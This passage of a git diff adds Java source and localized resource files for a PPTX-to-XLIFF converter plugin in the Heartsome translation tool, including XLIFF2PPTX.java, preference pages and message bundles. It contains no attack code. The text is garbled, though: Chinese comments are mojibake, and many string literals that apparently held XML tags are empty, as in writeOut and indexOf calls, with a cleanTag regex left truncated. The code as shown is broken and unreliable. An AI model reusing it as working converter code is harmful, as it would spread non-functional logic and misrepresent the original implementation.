list.get(j); + String[] arr2 = list.get(i); + boolean isEqual = true; + for (int len = 0; len < (arr1.length > arr2.length ? arr2.length : arr1.length); len++) { + if (!cleanNull(arr1[len]).equals(cleanNull(arr2[len]))) { + isEqual = false; + break; + } + } + if (isEqual) { + list.remove(j); + } + } + } + } + + public String cleanNull(String string) { + return string == null ? "" : string; + } + + /** + * å°† strText 写入 XLIFF 文件 + * @param strText + * @throws IOException + * ; + */ + private void writeSegment(String strText) throws IOException { + writeOut("\n"); + String phText = ""; + String phEndText = ""; + int phId = 1; + StringBuffer sbText = new StringBuffer(strText); + int index = 0; + int endIndex = 0; + while (true) { + if (index >= 0) { + index = sbText.indexOf("", index == 0 ? index : index + 1); + if (index != -1) { + sbText.insert(index, phText); + index += phText.length(); + endIndex = sbText.indexOf("", index == 0 ? index : index + 1); + sbText.insert(endIndex + "".length(), phEndText); + String subText = TextUtil.cleanSpecialString(sbText.substring(index, + endIndex + "".length())); + sbText.replace(index, endIndex + "".length(), subText); + index = endIndex; + } + } else { + break; + } + } + strText = sbText.toString(); + strText = strText.replaceAll(phEndText + phText, ""); + while (strText.indexOf(phText) != -1) { + strText = strText.replaceFirst(phText, ""); + } + writeOut("" + strText + "\n"); + writeOut("\n\n"); + } + + /** + * 写 XLIFF 的头节点内容 + * @throws IOException + * ; + */ + private void writeHeader() throws IOException { + writeOut("\n"); //$NON-NLS-1$ + writeOut("\n"); //$NON-NLS-1$ + if (!strTgtLang.equals("")) { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } else { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeOut("
    \n"); //$NON-NLS-1$ + writeOut("\n"); //$NON-NLS-1$ + if (blnIsSuite) { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + writeOut("\n"); //$NON-NLS-1$ + writeOut(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeOut(" " //$NON-NLS-1$ + + strSrcEncoding + "\n"); //$NON-NLS-1$ + writeOut("
    \n\n"); //$NON-NLS-1$ + writeOut("\n"); //$NON-NLS-1$ + } + + private void writeOut(String string) throws IOException { + out.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * å°† source 所代表的压缩包解压到临时目录 strTmpFolderPath + * @param source + * @throws IOException + * ; + */ + private void releaseSrcZip(String source) throws IOException { + String sysTemp = System.getProperty("java.io.tmpdir"); + String dirName = "tmpPPTXfolder" + System.currentTimeMillis(); + File dir = new File(sysTemp + File.separator + dirName); + dir.mkdirs(); + strTmpFolderPath = dir.getAbsolutePath(); + fileManager.releaseZipToFile(source, strTmpFolderPath); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/XLIFF2PPTX.java b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/XLIFF2PPTX.java new file mode 100644 index 0000000..48e9963 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/XLIFF2PPTX.java @@ -0,0 +1,379 @@ +package net.heartsome.cat.converter.pptx; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.zip.ZipOutputStream; + +import net.heartsome.cat.common.file.FileManager; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.pptx.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * XLIFF 转æ¢ä¸º PPTX + * @author peason + * @version + * @since JDK1.6 + */ +public class XLIFF2PPTX implements Converter { + + private static final Logger LOGGER = LoggerFactory.getLogger(XLIFF2PPTX.class); + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "pptx"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("pptx.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to MS Office PowerPoint 2007 Conveter"; + + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + XLIFF2PPTXImpl impl = new XLIFF2PPTXImpl(); + return impl.run(args, monitor); + } + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * XLIFF 转æ¢ä¸º PPTX 的实现类 + * @author peason + * @version + * @since JDK1.6 + */ + class XLIFF2PPTXImpl { + + /** SlideMaster 文件中 a çš„å‰ç¼€ */ + private static final String PREFIX_A = "a"; + + /** SlideMaster 文件中 a 的命å空间 */ + private static final String NAMESPACE_A = "http://schemas.openxmlformats.org/drawingml/2006/main"; + + /** SlideMaster 文件中 p çš„å‰ç¼€ */ + private static final String PREFIX_P = "p"; + + /** SlideMaster 文件中 a 的命å空间 */ + private static final String NAMESPACE_P = "http://schemas.openxmlformats.org/presentationml/2006/main"; + + /** XLIFF 文件路径 */ + private String strXLIFFPath; + + /** 骨架文件路径 */ + private String strSklPath; + + private ZipOutputStream zipOut; + + /** 骨架文件的临时解压目录 */ + private String strTmpFolderPath; + + private FileManager fileManager = new FileManager(); + + /** 存放文本段的集åˆï¼Œkey 为 trans-unit çš„ id, value 的第一个值为 source, 第二个为 target */ + private HashMap mapSegment = new HashMap(); + + /** 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + private boolean blnIsPreviewMode; + + /** + * 转æ¢å™¨çš„处ç†æµç¨‹å¦‚下:
    + * 1. è§£æž XLIFF 文件,获å–所有文本段并存放入集åˆä¸­ã€‚
    + * 2. 将骨架文件解压到临时目录。
    + * 3. 将临时目录中除 slides 和 notesSlides 文件夹之外的其他文件放入目标文件。
    + * 4. è§£æž slides 目录下以 .skl 结尾的文件,并替æ¢æ–‡ä»¶ä¸­çš„骨架信æ¯ï¼Œæ›¿æ¢å®ŒæˆåŽåŽ»é™¤ .skl åŽç¼€æ”¾å…¥ç›®æ ‡æ–‡ä»¶,
    + * slides 目录下的其他文件直接放入目标文件。
    + * 5. è§£æž notesSlides 目录下以 .skl 结尾的文件,并替æ¢æ–‡ä»¶ä¸­çš„骨架信æ¯ï¼Œæ›¿æ¢å®ŒæˆåŽåŽ»é™¤ .skl åŽç¼€æ”¾å…¥ç›®æ ‡æ–‡ä»¶,
    + * slides 目录下的其他文件直接放入目标文件。
    + * 6. 删除临时解压目录。
    + * @param args + * @param monitor + * @return + * @throws ConverterException + * ; + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + monitor.beginTask("", 12); + // 转æ¢è¿‡ç¨‹åˆ†ä¸º 11 部分,loadSegment å  1,releaseSklZip å  1,createZip å  1, handleSklFile(slides) å  5, + // handleSklFile(notesSlides) å  3,deleteFileOrFolder å  1 + IProgressMonitor firstMonitor = Progress.getSubMonitor(monitor, 1); + firstMonitor.beginTask(Messages.getString("pptx.XLIFF2PPTX.task1"), 1); + firstMonitor.subTask(""); + Map result = new HashMap(); + strXLIFFPath = args.get(Converter.ATTR_XLIFF_FILE); + String strTgtPath = args.get(Converter.ATTR_TARGET_FILE); + strSklPath = args.get(Converter.ATTR_SKELETON_FILE); + String strIsPreviewMode = args.get(Converter.ATTR_IS_PREVIEW_MODE); + blnIsPreviewMode = strIsPreviewMode != null && strIsPreviewMode.equals(Converter.TRUE); + try { + zipOut = new ZipOutputStream(new FileOutputStream(strTgtPath)); + if (firstMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + loadSegment(); + firstMonitor.worked(1); + firstMonitor.done(); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + IProgressMonitor secondMonitor = Progress.getSubMonitor(monitor, 1); + secondMonitor.beginTask(Messages.getString("pptx.XLIFF2PPTX.task2"), 1); + secondMonitor.subTask(""); + releaseSklZip(strSklPath); + secondMonitor.worked(1); + secondMonitor.done(); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + IProgressMonitor thirdMonitor = Progress.getSubMonitor(monitor, 1); + thirdMonitor.beginTask(Messages.getString("pptx.XLIFF2PPTX.task3"), 1); + thirdMonitor.subTask(""); + List lstExcludeFolder = new ArrayList(); + lstExcludeFolder.add(strTmpFolderPath + File.separator + "ppt" + File.separator + "slides"); + lstExcludeFolder.add(strTmpFolderPath + File.separator + "ppt" + File.separator + "notesSlides"); + fileManager.createZip(strTmpFolderPath, zipOut, lstExcludeFolder); + thirdMonitor.worked(1); + thirdMonitor.done(); + handleSklFile(strTmpFolderPath + File.separator + "ppt" + File.separator + "slides", + Progress.getSubMonitor(monitor, 5)); + handleSklFile(strTmpFolderPath + File.separator + "ppt" + File.separator + "notesSlides", + Progress.getSubMonitor(monitor, 3)); + zipOut.flush(); + zipOut.close(); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + IProgressMonitor fourthMonitor = Progress.getSubMonitor(monitor, 1); + fourthMonitor.beginTask(Messages.getString("pptx.XLIFF2PPTX.task4"), 1); + fourthMonitor.subTask(""); + fileManager.deleteFileOrFolder(new File(strTmpFolderPath)); + fourthMonitor.worked(1); + fourthMonitor.done(); + result.put(Converter.ATTR_TARGET_FILE, strTgtPath); + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error(Messages.getString("pptx.XLIFF2PPTX.logger1"), e); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("pptx.XLIFF2PPTX.msg1"), + e); + } finally { + monitor.done(); + } + return result; + } + + /** + * è§£æž XLIFF 文件,获å–æ‰€æœ‰æ–‡æœ¬æ®µé›†åˆ + * @throws NavException + * @throws XPathParseException + * @throws XPathEvalException + */ + private void loadSegment() throws NavException, XPathParseException, XPathEvalException { + VTDGen vg = new VTDGen(); + if (vg.parseFile(strXLIFFPath, true)) { + VTDNav vn = vg.getNav(); + VTDUtils vu = new VTDUtils(vn); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/xliff/file/body//trans-unit"); + while (ap.evalXPath() != -1) { + String strTuId = vu.getCurrentElementAttribut("id", null); + String strSource = vu.getElementContent("./source"); + String strTarget = vu.getElementContent("./target"); + mapSegment.put(strTuId, new String[] { strSource, strTarget }); + } + } + } + + /** + * 解压骨架文件到临时目录 + * @param sklPath + * 骨架文件路径 + * @throws IOException + */ + private void releaseSklZip(String sklPath) throws IOException { + String sysTemp = System.getProperty("java.io.tmpdir"); + String dirName = "tmpPPTXfolder" + System.currentTimeMillis(); + File dir = new File(sysTemp + File.separator + dirName); + dir.mkdirs(); + strTmpFolderPath = dir.getAbsolutePath(); + fileManager.releaseZipToFile(sklPath, strTmpFolderPath); + } + + /** + * å¤„ç† filePath 指定目录下的骨架文件,éžéª¨æž¶æ–‡ä»¶ç›´æŽ¥æ”¾å…¥åŽ‹ç¼©åŒ…。 + * @param filePath + * @throws Exception + * ; + */ + private void handleSklFile(String filePath, IProgressMonitor monitor) throws Exception { + File file = new File(filePath); + if (!file.exists()) { + monitor.done(); + return; + } + List lstSlideFile = fileManager.getSubFiles(file, null); + monitor.beginTask("", lstSlideFile.size()); + VTDGen vg = new VTDGen(); + VTDUtils vu = new VTDUtils(); + XMLModifier xm = new XMLModifier(); + AutoPilot ap = new AutoPilot(); + ap.declareXPathNameSpace(PREFIX_A, NAMESPACE_A); + ap.declareXPathNameSpace(PREFIX_P, NAMESPACE_P); + String strSklTag = "%%%"; + Pattern pattern = Pattern.compile("%%%\\d+%%%"); + List lstId = new ArrayList(); + StringBuffer sbText = new StringBuffer(); + for (File slideFile : lstSlideFile) { + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + monitor.subTask(MessageFormat.format(Messages.getString("pptx.XLIFF2PPTX.task5"), slideFile.getName())); + if (slideFile.isDirectory()) { + for (File tmpFile : slideFile.listFiles()) { + fileManager.addFileToZip(zipOut, strTmpFolderPath, tmpFile.getAbsolutePath()); + } + } else if (!slideFile.getName().endsWith(".skl")) { + fileManager.addFileToZip(zipOut, strTmpFolderPath, slideFile.getAbsolutePath()); + } else if (slideFile.getName().endsWith(".skl")) { + // 解æžéª¨æž¶æ–‡ä»¶ + String strSlidePath = slideFile.getAbsolutePath(); + if (vg.parseFile(strSlidePath, true)) { + VTDNav vn = vg.getNav(); + vu.bind(vn); + ap.bind(vn); + xm.bind(vn); + ap.selectXPath("//p:cSld/p:spTree//a:t"); + while (ap.evalXPath() != -1) { + String content = vu.getValue("./text()"); + if (content == null) { + continue; + } + Matcher matcher = pattern.matcher(content); + lstId.clear(); + while (matcher.find()) { + String group = matcher.group(); + lstId.add(group.substring(group.indexOf(strSklTag) + strSklTag.length(), + group.lastIndexOf(strSklTag))); + } + if (lstId.size() == 1) { + String[] arrSrcAndTgt = mapSegment.get(lstId.get(0)); + if (arrSrcAndTgt != null) { + String strSrc = arrSrcAndTgt[0]; + String strTgt = arrSrcAndTgt[1]; + if (strTgt != null) { + strTgt = cleanTag(strTgt); + if (blnIsPreviewMode || !"".equals(strTgt.trim())) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + xm = vu.update(null, xm, "./text()", strTgt); + } else { + xm = vu.update(null, xm, "./text()", cleanTag(strSrc)); + } + } else { + xm = vu.update(null, xm, "./text()", cleanTag(strSrc)); + } + } else { + ConverterUtils.throwConverterException( + Activator.PLUGIN_ID, + MessageFormat.format(Messages.getString("pptx.XLIFF2PPTX.msg2"), + lstId.get(0))); + } + } else { + sbText.delete(0, sbText.length()); + for (String id : lstId) { + String[] arrSrcAndTgt = mapSegment.get(id); + if (arrSrcAndTgt != null) { + String strSrc = arrSrcAndTgt[0]; + String strTgt = arrSrcAndTgt[1]; + if (strTgt != null) { + strTgt = cleanTag(strTgt); + if (blnIsPreviewMode || !"".equals(strTgt.trim())) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + sbText.append(strTgt); + } else { + sbText.append(cleanTag(strSrc)); + } + } else { + sbText.append(cleanTag(strSrc)); + } + } else { + ConverterUtils.throwConverterException( + Activator.PLUGIN_ID, + MessageFormat.format(Messages.getString("pptx.XLIFF2PPTX.msg2"), + lstId.get(0))); + } + } + xm = vu.update(null, xm, "./text()", sbText.toString()); + } + } + + strSlidePath = strSlidePath.substring(0, strSlidePath.lastIndexOf(".skl")); + xm.output(strSlidePath); + fileManager.addFileToZip(zipOut, strTmpFolderPath, strSlidePath); + } + } + monitor.worked(1); + } + monitor.done(); + } + + /** åŒ¹é… ph æ ‡è®°çš„æ­£åˆ™è¡¨è¾¾å¼ */ + private Pattern pattern = Pattern.compile("'\"]+('|\"))*>[^<>]*
    "); + + /** + * 清除 string 中的标记 + * @param string + * 待处ç†çš„字符串 + * @return ; + */ + private String cleanTag(String string) { + Matcher matcher = pattern.matcher(string); + int start = 0; + int end = 0; + StringBuffer sbText = new StringBuffer(); + while (matcher.find()) { + String group = matcher.group(); + // 去除标记。如 abcd 去除标记åŽä¸º abcd + group = group.substring(group.indexOf(">") + 1, group.lastIndexOf("<")); + group = TextUtil.resetSpecialString(group); + start = matcher.start(); + sbText.append(string.substring(end, start)).append(group); + end = matcher.end(); + } + sbText.append(string.substring(end, string.length())); + return sbText.toString(); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/preference/Constants.java b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/preference/Constants.java new file mode 100644 index 0000000..244a47a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/preference/Constants.java @@ -0,0 +1,15 @@ +package net.heartsome.cat.converter.pptx.preference; + +/** + * 常é‡ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public class Constants { + + /** 首选项-->Microsoft PowerPoint 2007 页é¢çš„æ示信æ¯å›¾ç‰‡ */ + public static final String PREFERENCE_PPTX_32 = "images/preference/powerpoint_32.png"; + + public static final String PPTX_FILTER = "net.heartsome.cat.converter.pptx.preference.PPTX2007"; +} diff --git a/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/preference/ConverterPreferenceInitializer.java b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/preference/ConverterPreferenceInitializer.java new file mode 100644 index 0000000..813c649 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/preference/ConverterPreferenceInitializer.java @@ -0,0 +1,22 @@ +package net.heartsome.cat.converter.pptx.preference; + +import net.heartsome.cat.converter.pptx.Activator; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * 设置首选项的 PowerPoint 2007 默认值类 + * @author peason + * @version + * @since JDK1.6 + */ +public class ConverterPreferenceInitializer extends AbstractPreferenceInitializer { + + @Override + public void initializeDefaultPreferences() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + store.setDefault(Constants.PPTX_FILTER, false); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/preference/PPTXPreferencePage.java b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/preference/PPTXPreferencePage.java new file mode 100644 index 0000000..3c81be4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/preference/PPTXPreferencePage.java @@ -0,0 +1,78 @@ +package net.heartsome.cat.converter.pptx.preference; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.converter.pptx.Activator; +import net.heartsome.cat.converter.pptx.resource.Messages; + +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * 首选项-->Microsoft PowerPoint 2007 é¡µé¢ + * @author peason + * @version + * @since JDK1.6 + */ +public class PPTXPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + private IPreferenceStore preferenceStore; + + /** 备注å¤é€‰æ¡† */ + private Button btnNote; + + public PPTXPreferencePage() { + setTitle(Messages.getString("preference.PPTXPreferencePage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + @Override + protected Control createContents(Composite parent) { + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group groupCommon = new Group(tparent, SWT.NONE); + groupCommon.setLayout(new GridLayout()); + groupCommon.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupCommon.setText(Messages.getString("preference.PPTXPreferencePage.groupCommon")); + + HsImageLabel imageLabel = new HsImageLabel(Messages.getString("preference.PPTXPreferencePage.imageLabel"), + Activator.getImageDescriptor(Constants.PREFERENCE_PPTX_32)); + Composite cmpCommon = imageLabel.createControl(groupCommon); + cmpCommon.setLayout(new GridLayout()); + cmpCommon.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnNote = new Button(cmpCommon, SWT.CHECK); + btnNote.setText(Messages.getString("preference.PPTXPreferencePage.btnNote")); + GridDataFactory.fillDefaults().applyTo(btnNote); + + imageLabel.computeSize(); + btnNote.setSelection(preferenceStore.getBoolean(Constants.PPTX_FILTER)); + return parent; + } + + public void init(IWorkbench workbench) { + + } + + @Override + protected void performDefaults() { + btnNote.setSelection(preferenceStore.getDefaultBoolean(Constants.PPTX_FILTER)); + } + + @Override + public boolean performOk() { + preferenceStore.setValue(Constants.PPTX_FILTER, btnNote.getSelection()); + return true; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/Messages.java new file mode 100644 index 0000000..5017268 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.pptx.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.pptx.resource.pptx"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/pptx.properties b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/pptx.properties new file mode 100644 index 0000000..5ef0d8e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/pptx.properties @@ -0,0 +1,25 @@ +pptx.PPTX2XLIFF.task1 = \u6b63\u5728\u89e3\u538b\u6e90\u6587\u4ef6... +pptx.PPTX2XLIFF.task2 = \u6b63\u5728\u521b\u5efa\u9aa8\u67b6\u6587\u4ef6... +pptx.PPTX2XLIFF.task3 = \u6b63\u5728\u5220\u9664\u4e34\u65f6\u89e3\u538b\u76ee\u5f55... +pptx.PPTX2XLIFF.task4 = \u6b63\u5728\u89e3\u6790 {0} \u6587\u4ef6... +pptx.PPTX2XLIFF.task5 = \u6b63\u5728\u83b7\u53d6 ppt/slides \u76ee\u5f55\u4e0b\u7684 slideN.xml \u6587\u4ef6... +pptx.PPTX2XLIFF.task6 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +pptx.PPTX2XLIFF.logger1 = [LOG] PPTX \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +pptx.PPTX2XLIFF.msg1 = PPTX \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 + +pptx.XLIFF2PPTX.task1 = \u6b63\u5728\u89e3\u6790 XLIFF \u6587\u4ef6... +pptx.XLIFF2PPTX.task2 = \u6b63\u5728\u89e3\u538b\u9aa8\u67b6\u6587\u4ef6... +pptx.XLIFF2PPTX.task3 = \u6b63\u5728\u751f\u6210\u76ee\u6807\u6587\u4ef6... +pptx.XLIFF2PPTX.task4 = \u6b63\u5728\u5220\u9664\u4e34\u65f6\u89e3\u538b\u76ee\u5f55... +pptx.XLIFF2PPTX.task5 = \u6b63\u5728\u5904\u7406 {0} \u6587\u4ef6... +pptx.XLIFF2PPTX.logger1 = [LOG] XLIFF \u8f6c\u6362\u4e3a PPTX \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +pptx.XLIFF2PPTX.msg1 = XLIFF \u8f6c\u6362\u4e3a PPTX \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +pptx.XLIFF2PPTX.msg2 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\u3002\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 + +pptx.TYPE_NAME_VALUE = Microsoft PowerPoint \u6f14\u793a\u6587\u7a3f (PPTX) + +preference.PPTXPreferencePage.title = Microsoft PowerPoint +preference.PPTXPreferencePage.groupCommon = \u8f6c\u6362\u9009\u9879 +preference.PPTXPreferencePage.imageLabel = \u8f6c\u6362 Microsoft PowerPoint \u6f14\u793a\u6587\u7a3f (PPTX) \u6587\u4ef6\u65f6\uff0c\u6392\u9664\u5982\u4e0b\u7c7b\u578b\u7684\u53ef\u7ffb\u8bd1\u6587\u672c\uff1a +preference.PPTXPreferencePage.btnNote = \u5907\u6ce8 +preference.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/pptx_en.properties b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/pptx_en.properties new file mode 100644 index 0000000..1525b5f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/pptx_en.properties @@ -0,0 +1,25 @@ +pptx.PPTX2XLIFF.task1 = Unpacking source files... +pptx.PPTX2XLIFF.task2 = Creating skeleton file... +pptx.PPTX2XLIFF.task3 = Deleting temporary unpacking directory... +pptx.PPTX2XLIFF.task4 = Parsing file {0}... +pptx.PPTX2XLIFF.task5 = Searching and sorting files under ppt/slides directoryXML files... +pptx.PPTX2XLIFF.task6 = Generating XLIFF files... +pptx.PPTX2XLIFF.logger1 = [LOG] PPTX \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +pptx.PPTX2XLIFF.msg1 = An error occured when converting PPTX to XLIFF. Please try again. + +pptx.XLIFF2PPTX.task1 = Parsing XLIFF files... +pptx.XLIFF2PPTX.task2 = Unpacking skeleton files... +pptx.XLIFF2PPTX.task3 = Generating Target files... +pptx.XLIFF2PPTX.task4 = Deleting temporary unpacking directory... +pptx.XLIFF2PPTX.task5 = Processing file {0}... +pptx.XLIFF2PPTX.logger1 = [LOG] XLIFF \u8f6c\u6362\u4e3a PPTX \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +pptx.XLIFF2PPTX.msg1 = An error occured when converting XLIFF to PPTX. Please try again. +pptx.XLIFF2PPTX.msg2 = Unable to find segment {0}. The XLIFF file might be demaged. Please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. + +pptx.TYPE_NAME_VALUE = Microsoft PowerPoint presentations (PPTX) + +preference.PPTXPreferencePage.title = Microsoft PowerPoint +preference.PPTXPreferencePage.groupCommon = Conversion Options +preference.PPTXPreferencePage.imageLabel = The following translatable text is excluded during conversion of Microsoft PowerPoint Presentation files (PPTX): +preference.PPTXPreferencePage.btnNote = Notes +preference.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/pptx_zh.properties b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/pptx_zh.properties new file mode 100644 index 0000000..5ef0d8e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/resource/pptx_zh.properties @@ -0,0 +1,25 @@ +pptx.PPTX2XLIFF.task1 = \u6b63\u5728\u89e3\u538b\u6e90\u6587\u4ef6... +pptx.PPTX2XLIFF.task2 = \u6b63\u5728\u521b\u5efa\u9aa8\u67b6\u6587\u4ef6... +pptx.PPTX2XLIFF.task3 = \u6b63\u5728\u5220\u9664\u4e34\u65f6\u89e3\u538b\u76ee\u5f55... +pptx.PPTX2XLIFF.task4 = \u6b63\u5728\u89e3\u6790 {0} \u6587\u4ef6... +pptx.PPTX2XLIFF.task5 = \u6b63\u5728\u83b7\u53d6 ppt/slides \u76ee\u5f55\u4e0b\u7684 